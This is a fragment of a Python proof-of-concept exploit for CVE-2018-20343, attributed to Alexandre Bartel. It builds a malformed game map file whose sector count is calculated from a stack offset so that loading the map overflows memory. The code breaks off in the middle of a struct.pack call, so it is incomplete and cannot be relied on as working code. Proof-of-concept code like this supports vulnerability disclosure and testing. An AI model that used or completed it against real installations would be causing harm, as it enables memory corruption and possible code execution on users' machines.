#!/usr/bin/python3 # # Description: PoC for CVE-2018-20343 # Author: Alexandre Bartel # import sys import struct SECTOR_TYPE_SIZE = 40 WALL_TYPE_SIZE = 32 SPRITE_TYPE_SIZE = 44 def generateMap(output_map_fn): with open(output_map_fn, "wb") as f: total_bytes_till_esp = 0x6b200 nbrSectors = int ((total_bytes_till_esp + 10) / SECTOR_TYPE_SIZE + 2) print ("[+] nbrSectors: %s" % (nbrSectors)) nbrWalls = 8000 nbrSprites = 4000 f.write(struct.pack('